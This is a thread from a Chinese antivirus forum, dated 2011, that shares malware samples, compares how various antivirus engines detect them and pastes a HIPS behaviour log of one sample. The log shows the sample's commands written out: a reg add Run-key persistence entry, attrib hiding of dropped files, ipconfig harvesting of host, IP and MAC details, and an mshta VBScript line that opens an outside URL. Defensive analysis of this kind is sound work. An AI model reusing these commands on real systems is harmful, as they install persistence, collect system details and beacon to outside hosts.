高质量 9个

显示全部楼层 · 发表于 2011-4-23 16:02:18

To Rising
已上报
RS20110423154435375534
RS20110423154518796286

By zc

显示全部楼层 · 发表于 2011-4-23 16:05:56

微点右键扫描一个漏报一个

显示全部楼层 · 发表于 2011-4-23 16:06:53

AVG扫描出了五个~

显示全部楼层 · 发表于 2011-4-23 16:08:46

母体+衍生物
ess kill6个，to3个

D:\下载文件夹\衍生物.rar > ZIP > ie.EXE > QUICKBATCH > script.bat - VBS/Disabler.NAA 特洛伊木马
D:\下载文件夹\衍生物.rar > ZIP > autorun.EXE > QUICKBATCH > script.bat - VBS/Disabler.NAA 特洛伊木马
D:\下载文件夹\衍生物.rar > ZIP > bt3153.bat - VBS/Disabler.NAA 特洛伊木马
D:\下载文件夹\衍生物.rar > ZIP > bt4470.bat - VBS/Disabler.NAA 特洛伊木马
D:\下载文件夹\衍生物.rar > ZIP > bt8283.bat - VBS/Disabler.NAA 特洛伊木马
D:\下载文件夹\衍生物.rar > ZIP > bt0877.bat - VBS/Disabler.NAA 特洛伊木马

http://samples.nod32.com.hk/inde ... 4f8d52dc3f4dc60150f

显示全部楼层 · 发表于 2011-4-23 16:13:09

安装uusee ?!

显示全部楼层 · 发表于 2011-4-23 16:32:05

衍生物to mse
谁可以告诉我为什么解压缩后那几个BAT文件不见了

显示全部楼层 · 发表于 2011-4-23 16:38:43

360 SD kill 4

显示全部楼层 · 发表于 2011-4-23 17:01:51

本帖最后由 bluelily 于 2011-4-23 17:02 编辑

红伞 kill 4

IK kill 3

合杀剩4

显示全部楼层 · 发表于 2011-4-23 17:09:04

gftp.vbs 不是

显示全部楼层 · 发表于 2011-4-23 17:09:06

本帖最后由 wmcxdb 于 2011-4-23 17:10 编辑

2011-4-23 16:58:45 修改文件允许
进程: f:\下载\母体\qqyxddzwg.exe
目标: C:\WINDOWS\Temp\uusee.exe
规则: [应用程序组]●研磨 -> [应用程序]f:\下载\母体\qqyxddzwg.exe -> [文件组]允许文件 -> [文件]c:\windows\temp\*

2011-4-23 16:58:45 修改文件允许
进程: f:\下载\母体\qqyxddzwg.exe
目标: C:\WINDOWS\Temp\说明.html
规则: [应用程序组]●研磨 -> [应用程序]f:\下载\母体\qqyxddzwg.exe -> [文件组]允许文件 -> [文件]c:\windows\temp\*

2011-4-23 16:58:45 修改文件阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: \Device\NamedPipe\wkssvc
规则: [应用程序组]●研磨 -> [文件]*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal
值: C:\Documents and Settings\d\My Documents
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents
值: C:\Documents and Settings\All Users\Documents
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop
值: C:\Documents and Settings\d\桌面
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
值: C:\Documents and Settings\All Users\桌面
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
值: C:\Documents and Settings\d\Local Settings\Temporary Internet Files
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 修改注册表值阻止
进程: f:\下载\母体\qqyxddzwg.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
值: C:\Documents and Settings\d\Cookies
规则: [应用程序组]●研磨 -> [注册表组]注册表保护 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*

2011-4-23 16:58:45 创建新进程允许
进程: f:\下载\母体\qqyxddzwg.exe
目标: c:\windows\temp\uusee.exe
命令行: "C:\WINDOWS\temp\uusee.EXE"
规则: [应用程序组]●研磨 -> [应用程序]f:\下载\母体\qqyxddzwg.exe -> [子应用程序]c:\windows\temp\uusee.exe

2011-4-23 16:58:45 创建新进程允许
进程: f:\下载\母体\qqyxddzwg.exe
目标: d:\program files\theworld\theworld.exe
命令行: "D:\Program Files\TheWorld\TheWorld.exe" "C:\WINDOWS\temp\说明.html"
规则: [应用程序组]●研磨 -> [应用程序]f:\下载\母体\qqyxddzwg.exe -> [子应用程序]d:\program files\theworld\theworld.exe

2011-4-23 16:58:45 访问COM接口允许
进程: c:\windows\temp\uusee.exe
目标: {00BB2765-6A77-11D0-A535-00C04FD7D062} Microsoft 多个自动完成列表容器
文件路径: %SystemRoot%\system32\browseui.dll
规则: [应用程序]c:\windows\temp\uusee.exe -> [COM接口]{00BB2765-6A77-11D0-A535-00C04FD7D062}

2011-4-23 16:58:45 修改文件阻止
进程: c:\windows\temp\uusee.exe
目标: \Device\NamedPipe\wkssvc
规则: [文件]*

2011-4-23 16:58:45 修改文件阻止
进程: c:\windows\temp\uusee.exe
目标: \Device\NamedPipe\lsarpc
规则: [文件]*

2011-4-23 16:58:45 访问COM接口允许
进程: c:\windows\temp\uusee.exe
目标: {7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4} Security Manager
文件路径: C:\WINDOWS\system32\urlmon.dll
规则: [应用程序]c:\windows\temp\uusee.exe -> [COM接口]{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}

2011-4-23 16:58:45 创建新进程允许
进程: c:\windows\temp\uusee.exe
目标: c:\windows\temp\ie.exe
命令行: "C:\WINDOWS\temp\ie.exe"
规则: [应用程序]c:\windows\temp\uusee.exe -> [子应用程序]c:\windows\temp\ie.exe

2011-4-23 16:58:46 创建新进程允许
进程: c:\windows\temp\ie.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /c C:\DOCUME~1\d\LOCALS~1\Temp\bt8617.bat
规则: [应用程序]c:\windows\temp\ie.exe -> [子应用程序]c:\windows\system32\cmd.exe

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\「开始」菜单\程序\Internet Explorer.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\「开始」菜单\程序\Outlook Express.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\「开始」菜单\程序\Windows Media Player.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\Application Data\Microsoft\Internet Explorer\Quick Launch\360安全卫士.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\microsoft\internet explorer\quick launch\*

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\Application Data\Microsoft\Internet Explorer\Quick Launch\FSCapture.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\microsoft\internet explorer\quick launch\*

2011-4-23 16:58:46 删除文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\d\Application Data\Microsoft\Internet Explorer\Quick Launch\MalwareDefender.lnk
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\microsoft\internet explorer\quick launch\*

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "Intrenet Explorer.lnk" "C:\Documents and Settings\All Users\桌面\" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "瑞星杀毒.lnk" "C:\Documents and Settings\d\「开始」菜单\程序\启动\" /s /h /r /y
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "Intrenet Explorer.lnk" "C:\WINDOWS\" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "autorun.exe" "C:\WINDOWS\" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "gftp.vbs" "C:\WINDOWS\" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "Intrenet Explorer.lnk" "C:\Documents and Settings\d\「开始」菜单\程序" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "Intrenet Explorer.lnk" "C:\Documents and Settings\d\Application Data\Microsoft\Internet Explorer\Quick Launch" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\xcopy.exe
命令行: xcopy "Intrenet Explorer.lnk" "C:\Documents and Settings\d\「开始」菜单" /s /y /r
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\attrib.exe
命令行: attrib +h C:\WINDOWS\autorun.exe
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\attrib.exe
命令行: attrib +h C:\WINDOWS\gftp.vbs
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建文件阻止
进程: c:\windows\system32\cmd.exe
目标: C:\WINDOWS\Intrenet.html
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]c:\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\regedit.exe
命令行: Regedit /s tem.reg
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\WINDOWS\autorun.exe /f
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\regedit.exe
命令行: Regedit /s gai.reg
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /f /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\cmd.exe
命令行: C:\WINDOWS\system32\cmd.exe /c ipconfig /all | findstr /i /c:"Host Name"
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\cmd.exe
命令行: C:\WINDOWS\system32\cmd.exe /c ipconfig /all | findstr /i /c:"ip address"
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\cmd.exe
命令行: C:\WINDOWS\system32\cmd.exe /c ipconfig /all | findstr /i /c:"Physical Address"
规则: [应用程序组]c\windows

2011-4-23 16:58:46 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.hao923.com.cn/tongjwe ... =ECHO&a_cpname=ECHO",0)(window.close)
规则: [应用程序组]c\windows

[病毒样本] 高质量 9个

本帖子中包含更多资源

评分

浏览过的版块